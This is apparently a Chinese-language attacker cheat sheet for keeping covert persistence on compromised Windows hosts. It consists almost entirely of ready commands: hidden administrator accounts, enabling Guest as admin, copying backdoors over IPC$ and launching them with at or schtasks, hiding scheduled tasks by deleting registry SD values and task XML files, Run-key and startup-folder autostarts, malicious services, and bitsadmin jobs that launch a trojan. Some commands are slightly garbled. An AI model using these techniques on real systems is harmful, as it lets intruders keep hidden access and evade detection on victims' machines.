一、隐藏账号

1. 自建隐藏账号

  • net user test$ 123456 /add && net localgroup administrators test$

2. 激活Guest用户

  • net user guest 123456 && net localgroup administrators guest /add net user guest /active:yes

二、计划任务

AT命令

  1. 建立IPC$连接
    net use \目标ip\ipc$”密码“ /user:用户名
  2. 查看目标系统时间
    net time \ip
  3. 将后门文件拷贝到目标系统中
    copy 中转机器路径 \目标ip\目标路径
  4. 指定执行时间
    at \ip:时间 C:\windows\…(后门路径)

注意:

  • at \ip /delete /yes  #清除at记录
  • at \ip 15:33:36 cmd.exe /C “ipconfig” >C:/”1.txt” type \ip\C$\1.txt
    #读取命令执行之后的输出内容(type是读取文件命令)

schtasks(win server2008及win7之后)

命令行:

1
2
3
4
5
schtasks /create /sc minute /mo 5/tn "sd"/tr "C:\Windows\System32\cmd.exe /c copy E\a.txt E:\a\a.php"
schtasks /CREATE /TN test /TR C:\windows(后门路径.exe) /SC once /RU SYSTEM /ST 10:30 # 创建计划任务
# /TN 指定任务名称,/TR 参数指定运行的恶意命令,/ST 指定运行时间,/SC 指定运行周期, /ED 指定任务终止日期
# 任务创建,将会自动在目录 %SystemRoot%\System32\Tasks 生成一个关于该任务的描述性 XML 文件,包含了所有的任务信息
schtasks /End /Tn evaltest # 停止计划任务

powershell:

1
2
3
4
5
6
7
8
9
10
11
12
13
$taskname = "test"
$cmd = "cmd.exe"
$cmdargs = "/c calc.exe"
$username = "$env:username"
#$username = "SYSTEM"
$taskdescription = "test task"

$action = New-ScheduledTaskAction -Execute $cmd -Argument $cmdargs
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -minutes 1)
$settings = New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Minutes 0) -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName $taskname -Description $taskdescription -Settings $settings -User $username -RunLevel 1

# 删除:Unregister-ScheduledTask -TaskName test -Confirm:$false

计划任务隐藏

非完全隐藏

如果想要隐藏一个计划任务,可以通过修改 Schedule\TaskCache\Tree 中对应任务的 Index 值,一般情况下都是 3,步骤如下:
启动 SYSTEM 权限 cmd:psexec64 -i -s cmd.exe
执行 regedit 以 SYSTEM 权限启动注册表编辑器
修改 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree 下对应任务的 Index 值为 0
删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件

优点: - 利用 taskschd.msc、schtasks 甚至系统API查询出的所有任务中,都看不到该任务
缺点: - 并非完全隐藏,如果知道该任务的名字,可以通过 schtasks /query /tn {TaskName} 查到 - 无论是低权的任务还是高权,都需要 SYSTEM 权限(在win10测试,低版本好像没这个要求,待测试)

完全隐藏

按道理,是可以通过配置任务 SD 实现。在一次测试过程中,偶然删除了注册表中的 SD 项,发现无论什么方式都查不到任务信息,达到完全隐藏的目的:

启动 SYSTEM 权限 cmd:psexec64 -i -s cmd.exe
执行 regedit 以 SYSTEM 权限启动注册表编辑器
删除 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree{TaskName}\SD
删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件

优点: - 无论何种方式(除了注册表),都查不到该任务,较为彻底
缺点: - 无论是低权的任务还是高权,都需要 SYSTEM 权限

三、注册表自启动

注册表相关启动项地方

1
2
3
4
5
6
7
8
# 用户级:
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 系统级 :
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

只需要新建一个字符串类型的键,然后把路径输进去即可

之后重启就会直接弹出 cmd 窗口,实现注册表自启动项
命令行–重启后执行恶意程序(需要完全管理员权限/system,否则提示拒绝)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v “Keyname” /t REG_SZ /d “C:\Windows\System32\calc.exe” /f 确认可以使用成功

四、开机自启

启动文件夹下

1
2
3
move   cmd2.exe    "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\cmd2.exe"
# 或者
move cmd2.exe "C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

设置开机自启动服务(高权限)

1
2
3
4
5
sc create "server config" binpath= "C:\Users\Administrator\Desktop\artifact.exe"

sc description "server config" "description" # 设置服务的描述字符串
sc config "server config" start= auto # 设置这个服务为自动启动
net start "server config" # 启动服务

五、bitsadmin

1
2
3
4
bitsadmin /create abc
bitsadmin /addfile abc "木马目录" "目的木马目录"
bitsadmin.exe /SetNotifyCmdLine abc "目的木马目录" NUL
bitsadmin /Resume abc